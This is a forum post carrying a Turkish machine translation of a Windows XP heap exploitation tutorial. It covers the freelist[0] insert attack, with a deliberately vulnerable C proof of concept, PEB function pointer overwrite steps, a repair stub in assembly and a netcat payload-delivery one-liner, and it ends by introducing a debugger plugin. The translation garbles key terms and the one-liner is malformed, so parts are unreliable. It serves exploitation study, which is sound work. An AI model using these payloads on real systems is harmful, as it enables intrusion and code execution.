Windows Heap Exploitation #4 | Heap Overflows 102.5

Gauloran

Moderasyon Ekibi Lideri
7 Tem 2013
8,192
653
İnsanlar İçin Yığın Taşmaları 102.5

Merhaba millet.

Bir süre önce, Windows XP SP3 altında uygulamaya özgü yığın taşmalarından yararlanmak için eski ama önemli bir tekniği tartışmıştım.

Bugün, başka bir önemli tekniği tartışacağım ve bağışıklık hata ayıklayıcı eklenti aracıma! Heaper! Adlı küçük bir giriş yapacağım!

Öncelikle, bu alanda yapılan önceki araştırmalar için bazı ciddi araştırmacılara teşekkür etmek istiyorum, çünkü bu kavramları anlamadaki teknik karmaşıklıklar / zorluklar ancak bu insanlar olmadan anlaşılabilir, bu makaleler olmazdı.

Bu yüzden Brett Moore, Nicolas Waisman ve Chris Valasek’e BÜYÜK bir teşekkür ederiz.

Araştırmanız istisnai olmanın da ötesinde. Tamam başlayalım mı?

Aralık 2005’te Brett Moore çok ilginç bir araştırma yayınladı ‘Exploiting Freelist [0] On XP SP2’. Freelist [0] ‘a saldırmak için kullanılabilecek, Mr Moore tarafından bağımsız olarak keşfedilen iki çok yararlı tekniği detaylandırıyor.

Basitçe pratikliğinden dolayı ‘serbest liste [0] ekleme’ saldırısı olarak bilinen belirli bir tekniği ele alacağız.

Aşağıdakileri içeren bir makine kurmanız gerekecek: - Yalnızca SP2 / SP3 yüklü Windows XP – Bağışıklık Hata Ayıklayıcısı – pyparser – graphviz – Bağışıklık hata ayıklayıcı eklenti heaper.py’nin bir kopyası – Bir c / c ++ derleyicisi (Dev C ++, lcc-32, MS visual C ++ 6.0 (hala edinebiliyorsanız)). – Kolay bir betik dili (python kullanıyorum, belki perl kullanabilirsiniz). – Bir beyin (ve / veya sebat). – Biraz Assembly, C bilgisi ve Olly için HideDbg (eklenti) veya bağışıklık hata ayıklayıcı altında!

Hidedebug kullanarak bir hata ayıklayıcıda nasıl kazılacağı hakkında bilgi

Serbest Liste

Saldırı Ekle

Bu saldırının konsepti, bir serbest listedeki yığınındaki göz kırpmanın üzerine yazılmasıyla çalışır ve üzerine yazılan parçadan önce bir yığın eklerken, eklenen flaş / yanıp sönme işaretçileri güncellenmeden önce göz kırpma kontrol edilmez.

Güvenli bağlantı kesme yalnızca işlenen yığın ve ilgili yanıp sönmesi / yanıp sönmesi için geçerlidir (yeniden bağlanan yığınlar üzerinde doğrulama yoktur).

Kod:
if (chunk[blink] -> PrevChunk && PrevChunk[flink] -> chunk)
        proceed()
Bu sorunu hafifletmek için, özel Serbest Listeler kullanan Windows 7 altında, Microsoft bu küçük sözde kod parçacığına benzer bir kontrol uyguladı:

Önceki ve sonraki parçaların geri ve ileri bağlantıları doğrulanırsa, bu elbette sorunu hafifletir ve bir saldırganın rastgele bir işaretçi ayarlamasına veya kontrolsüz bir adres tarafından gösterilen keyfi bir değer belirlemesine izin vermez.

Aşağıda, çalışacağımız ham kod örneği verilmiştir:

Kod:
/*
    exploiting freelist[0] (insert)
    technique by Brett Moore
    poc example by Steven Seeley
*/
 
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
    char *a,*b,*c,*x,*y,*z;
    long *hHeap;
 
    hHeap = HeapCreate(0x00040000,0,0);
    a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,1200);
    b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,1024);
    c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,2048);
 
    // freelist[0] has 'c' chunk
    HeapFree(hHeap, 0, c);
 
    // overwrite b so that we spill into c
    // set c's blink to lookaside[3]
 
    printf("(+) Chunk b: 0x%08x\n",b);
    printf("(+) Fill chunk b (using 1024 bytes), overflowing chunk c:\n");
 
    // overflow b
    // using 1024 A's + BBBBCCCCDDDDEEEE (E=blink) (D=Flink)
    // overflow with blink set to 0x00480718 (lookaside[3])
 
    gets(b);
 
    // free 'a' so that freelist[0] looks like this:
    // freelist[0]:
    //             chunk b
    //             chunk a
    //             chunk c
 
    // the 'insert'
    HeapFree(hHeap, 0, a);
 
    // now lookaside[3] should be
    // lookaside[3]:
    //              chunk b
    //              chunk a
    //                    chunk ?        (fake chunk created from the overwrite)
    //              flink we control from overwrite
 
    // pop off the lookaside until we reach
    // our fake chunk
 
    x = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
    y = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
    z = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
 
    // write shellcode at controlled freelist flink (lookaside fake chunk)
    gets(z);
    exit(0);
}
Elbette bu kod, herhangi bir gerçek dünya örneğini temsil etmese de, kavram kavrandığında, teknik uygulamaya özel bir duruma uygulanabilir.

Kodu derleyin veya derlenmiş sürümü [b33f: Yürütülebilir değil] bir hata ayıklayıcıda açarsanız görmeniz gereken şey şudur:

2FFTqm.jpg


Şimdi HeapCreate, HeapAlloc, HeapFree uygulamasında kullanılan ana API çağrılarını görene kadar aşağı kaydırın ve ikinci HeapFree ve bundan sonra takip eden HeapAllocs için kesme noktaları ayarlayın.

aFiEEZ.jpg


Şimdi bunu hata ayıklayıcı altında çalıştırdığımız gerçeğini gizlemeliyiz, bu nedenle tüm API’leri yamalamak için ‘! Hidedebug all_debug’ kullanıyoruz.

3vohD2.jpg


Tamam, uygulamayı çalıştırın ve cmd penceresine bazı önemsiz şeyler eklemeniz istenecektir.

Bu STDIN olduğundan, uygulamaya ikili verileri basitçe ekleyemeyiz.

Daha fazla göstermeye yardımcı olmak için, ASCII verilerini ekleyeceğiz ve daha eksiksiz bir anlayış elde etmek için hafızaya değiştireceğiz.

Zeki okuyucu dikkat ederse, yazdığımız parçanın 1024 bayt uzunluğunda olduğunu fark etmişsinizdir.

Bu noktayı geçen herhangi bir sayıda bayt arabelleği aşacaktır, bu nedenle hassas kontrol gereklidir.

8 bayt (sonraki öbeğin başlığı için) ve başka bir 8 bayt (flink / blink için) ile taşarsak, tam kontrolü ele almak için bunu kullanabiliriz. ASCII’mizi hızla oluşturalım:

fD0O6r.jpg


Tamam, bunu uygulamaya yapıştırıyoruz ve ilk kesme noktasına ulaşıyoruz (HeapFree’de Çağrı):

ij7Xou.jpg


Şimdi biraz analiz yapalım ve neler olduğunu öğrenelim.

naFqki.jpg


Öncelikle, serbest listeye bakalım ve! Heaper ab -g kullanarak düzenini görsel olarak inceleyelim.

Bu bilgiyi görsel olarak da ‘! Heaper ab 490000 -g’ kullanarak elde edebiliriz.

C: \ Program Files \ Immunity Inc \ Immunity Debugger \’ konumunda bulunan grafiği bulabilirsiniz (bu durumda varsayılan dosya adı ‘freelist_graph.png’ olacaktır).

UOV9sy.jpg



Doğru, böylece kontrol edilen verilerimizle göz kırpma / flink’in üzerine yazıldığını açıkça görebiliriz.

Şimdiki fikir şu ki, ‘0x44444444’ yanıp sönmesini, görünüm [3] giriş adresine değiştirmemiz gerekiyor.

Bu aşamada, henüz bakış tarafına hiçbir giriş serbest bırakılmadığından, bakış açısı mevcut değil, ancak bazı girişleri taklit edeceğiz.

Değeri değiştirelim:

jo2zIi.jpg


Gördüğümüz gibi, serbest liste [0] girişi artık bu değişikliği yansıtmaktadır:

E6nQnx.jpg


Tamam, bu önemli kısım, HeapFree () çağrısını aşarsak büyük bir değişiklik görebiliriz.

Görünüm [3] 3 girişle doldurulur ve kontrollü flinkimiz, görünüm kenarındaki sahte bir parçanın flinkine dönüşür.

Aşağıdaki çıktıyı döndürmek için ‘! Heaper af [heap]’ veya ‘! Heaper analizefrontend [heap]’ kullanın.

vS3xi4.jpg


Bir kez daha, görsel olarak ‘! Heaper af 490000 -g’ kullanarak. Buradaki varsayılan dosya adı ‘lal_graph.png’ olacaktır, -f kullanarak özel bir ad seçebilirsiniz.

yeTMvo.jpg


Yürütmeye bir sonraki HeapAlloc () çağrısına kadar devam edersek, flink’in görünüm listesindeki her girişten döndürüldüğünü görebiliriz.

wRv8PO.jpg


Elbette 0x43434343 geçerli bir yığın değildir ve flink’i de okunup yazılabilmesi için güncellemeliyiz.

Bu durumda, bunu başarmak için PEB FastPEBLockRoutine işaretçisini İnsanlar için Yığın Taşması 102’de açıklandığı gibi kullanacağız. PEB elbette şimdi rastgele seçildi, ancak ben de yazmak için geçerli bir işaretçiye ihtiyacımız olduğu için tekniğin nasıl çalıştığını basitçe gösteriyorum.

PEB’nin yönetim yapısını dökmek ve ofseti FastPEBLockRoutine’e bulmak için ‘! Heaper dp -m’ kullanabilirsiniz (her zaman PEB’nin 0x20’si olmasına rağmen)
Sonra, lookaside [3] girişinde bulunan 0x43434343’ü yamalayalım.

54D7iL.jpg


Sadece yürütmenin devam etmesine izin verin ve yığın okunup yazılabilsin.

uoE7O3.jpg


Tekrar özetleyelim: Artık bellekteki herhangi bir 4 bayta ‘veri / kabuk kodu’ yazmak için mükemmel bir durum yarattık.

RtlAcquirePebLock + 0x28’den FastPEBLockRoutine () ‘e bir çağrı yapılmaya çalışılır.

RtlAcquirePebLock () şu anki PEB’yi kullanarak işaretçi ve onu çağırın, bunun yerine bizim kabuk kodumuzu çağırır.

Aşağıya bakınız:

U72Bb2.jpg


Bu noktada, kabuk kodu yürütme oldukça basittir, EAX’ten kod yürütmek için bir pivot gerekli olacaktır ve aşama 1 kabuk kodu, üzerine yazdığımız işaretçiyi onaran bir saplama olmalıdır.

Aşağıda bunu yapacak küçük bir saplama var

Kod:
.386
.model flat, stdcall
option casemap:none

.code
start:
mov eax, 7c901deh ; ntdll.RtlEnterCriticalSection
mov ecx, 7ffdf01ch ; offset in the PEB 0x1f (yours will be different)
add ecx, 4h
mov dword ptr ds:[ecx],eax

end start
Yani aslında bu, şuna benzer
Bu şekilde, işaretçi geri yüklenecek ve kabuk kodu çalışmaya devam etmeyecektir.

Kod:
00401000 > $ B8 DE55F777    MOV EAX,ntdll.RtlEnterCriticalSection
00401005   . B9 1CF0FD7F    MOV ECX,7FFDF01C
0040100A   . 83C1 04        ADD ECX,4
0040100D   . 8901           MOV DWORD PTR DS:[ECX],EAX
Windows XP sp3 altında, PEB temel adresi kaba zorlanmışsa, bu tabii ki dinamik olarak yapılmalıdır.

Zeki okuyucunun, PEB’yi dinamik olarak konumlandırmak için yukarıdaki montaj saplamasını sabitlemesine ve 0x20 ofsetini yamalamasına izin vereceğim.

Fs kullanabilirsiniz: [0x30]. Uygulamayı tek seferde kullanmak istediğimizde gerçekten göndereceğimiz verilerin yeniden sınırı (verileri bir soket bağlantısı üzerinden gönderdiğimizi varsayarsak):

Kod:
python -c "\x41" * 1024 + "\x42" * 8 + "\x20\xf0\xfd\x7f" +  "\x18\x07\x49" | nc -v <target> <ip>
NULL baytı elbette dizgenin sonuna eklenir.
Sınırlamalar ve Gereksinimler:

Taşan yığın temel adresini bilmeniz gerekir. Düşündüğünüz kadar kolay değil, ancak bir bilgi sızıntısı bunda çok yardımcı olacaktır.

PEB temel adresini önceden belirlemeniz veya en azından çağrılacak olanın üzerine yazabileceğiniz başka bir işlev işaretçisi kullanmanız gerekir.

Bu yakında daha ayrıntılı açıklanacaktır. Kontrollü tahsis boyutlarına sahip olmanız gerekir.

Uygulamanın, üzerine yazılan parçadan daha küçük, ancak doldurduğumuz parçadan daha büyük olan bir parçayı serbest bırakmasına neden olmanız gerekir.

Bu olabilir herhangi bir determinizm olmadan gerçekleşir, ancak tahsis boyutlarını kontrol etmek ve bir yığın serbest bırakıldığında kontrol etmek, ilerleme kaydetmenin kesin bir yoludur
Yığın istismarında kullanılan teknikleri anlamaya çalıştığım süre boyunca, genellikle belleğin yönlerini görselleştirmem gerekiyordu ve bu yüzden öncelikle Bağışıklık Hata Ayıklayıcı’yı kullandım (windbg’s! Heap delice).

Ancak, bağışıklığın hata ayıklayıcısında, yığının kullanılabilirliğini analiz eden ve belirleyen araçları bulamadım.

Bağışıklık Hata Ayıklayıcısının ‘istismar’ odaklı bir hata ayıklayıcı olduğu göz önüne alındığında, yalnızca yığın yapılarını görselleştirmeye değil, aynı zamanda bir dizi buluşsal yöntem kullanarak yararlanılabilirliği belirlemeye de yardımcı olan bir bağışıklık hata ayıklayıcı eklentisi üzerinde çalışmaya karar verdim.

Şu anda eklenti, belirli bir yığın taşmasının sömürebilirliğini belirlemek için herhangi bir sezgisel kontrol yapmamaktadır, ancak yakın gelecekte entegre edilecektir.

Şu anda araç, basit write4 flink / blink üzerine yazılanları kontrol eder ve yığın başlığındaki boyut alanının üzerine yazılıp yazılmadığını tespit eder.

Bununla birlikte, yığın taşmasının nasıl tetiklendiğine bağlı olarak, kullanıcıya geçerli bir yararlanılabilir yol verilmesi muhtemeldir.

Kullanılabilirliği ve koşullu koşulları hakkında daha fazla analiz yaptıkça, Windows 7 önümüzdeki aylarda desteklenecek.

Pydot, pyparser ve graphviz’in kurulu olduğundan emin olun ve kodu Immunity’nin pycommands dizinine ‘C: \ Program Files \ Immunity Inc \ Immunity Debugger \ PyCommands \’ yazarak! Heaper yazarak yardım işlevselliğini getirebilirsiniz.

gpxuID.jpg


Daha önce üzerine yazılacak işlev işaretçileri bulma görevinin genellikle zor olduğundan bahsetmiştim.

Üstelik, seçtiğimiz işaretçinin taşmamızdan sonra tetikleneceğinden emin olmalıyız.

Heaper’ın özellikleri bu sorunu çözmeye yardımcı olur.

! Heaper’ı kullanarak .data bölümündeki tüm işlev işaretlerini ‘! Heaper dumpfunctionpointers’ veya ‘! Heaper dfp’ kullanarak dökebilirsiniz.


LupyBJ.jpg


Tek bir işlev işaretçisini 0x41414141 varsayılan değeriyle yamamak için ‘! Heaper dfp -p <işlev işaretçisi>’ kullanın veya hepsini ‘! Heaper dfp -p all’ kullanarak yama yapın.

S1o0O4.jpg


Ayrıca -r all veya <function pointer> kullanarak fonksiyon göstericilerini geri yükleyebiliriz.

AgtIzB.jpg


Yukarıdaki yamalı örneği geri yükleme:

zlIn0M.jpg


Yani buradaki fikir, tüm fonksiyon işaretleyicilerini yamalamak ve uygulamanın çalışmasına izin vermek (bir write4 koşulunu simüle ederek) ve bir bakıp bunlardan birini çağırmak için beklemektir.

Bir erişim ihlali tetiklenirse, işaretçi adresini yığın üzerinde bulabilirsiniz.

Diğer birçok işlev vardır, bu nedenle okuyucuyu aracın olanaklarını araştırmaya ve keşfetmeye davet ediyorum; ve bana görmek istediklerinizle ilgili bazı geri bildirimler ve fikirler sağlayın. Aldığım bazı öneriler şunları içerir: VirtuallAlloc, HeapAlloc, HeapFree, HeapCreate vb.

Belirli yığın çağrıları için bazı bağlantı işlevselliği sağlayın ve bağımsız değişkenleri görüntüleyin (eğer olası dönüş değerini gösterir) Püskürtülen blok sayısı, her bloğun boyutu, püskürtmenin uygulandığı bloğa dengelenmesi gibi yığın spreyleriyle ilgili bazı istatistikler sağlayın başlar vs.

LFH için Windows 7 işlevselliği sağlayın ve grafik işlevselliğinin çalıştığından emin olun.

Kullanılabilirliği belirlemek için sezgisel yöntemler oluşturun ve son derece doğru olduğundan emin olun.

Başlamak için aşağıdaki 4 saldırı için buluşsal yöntemler:

bitmap çevirme, serbest liste [0] ekleme, serbest liste [0] arama ve görünümün bir yığınının üzerine yazma Gördüğünüz gibi hala yapılacak çok şey var, ama umarım bu bazı insanları yığın istismarına götürür.

Source: https://www.fuzzysecurity.com/tutorials/mr_me/4.html
Translator: @Qgenays
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.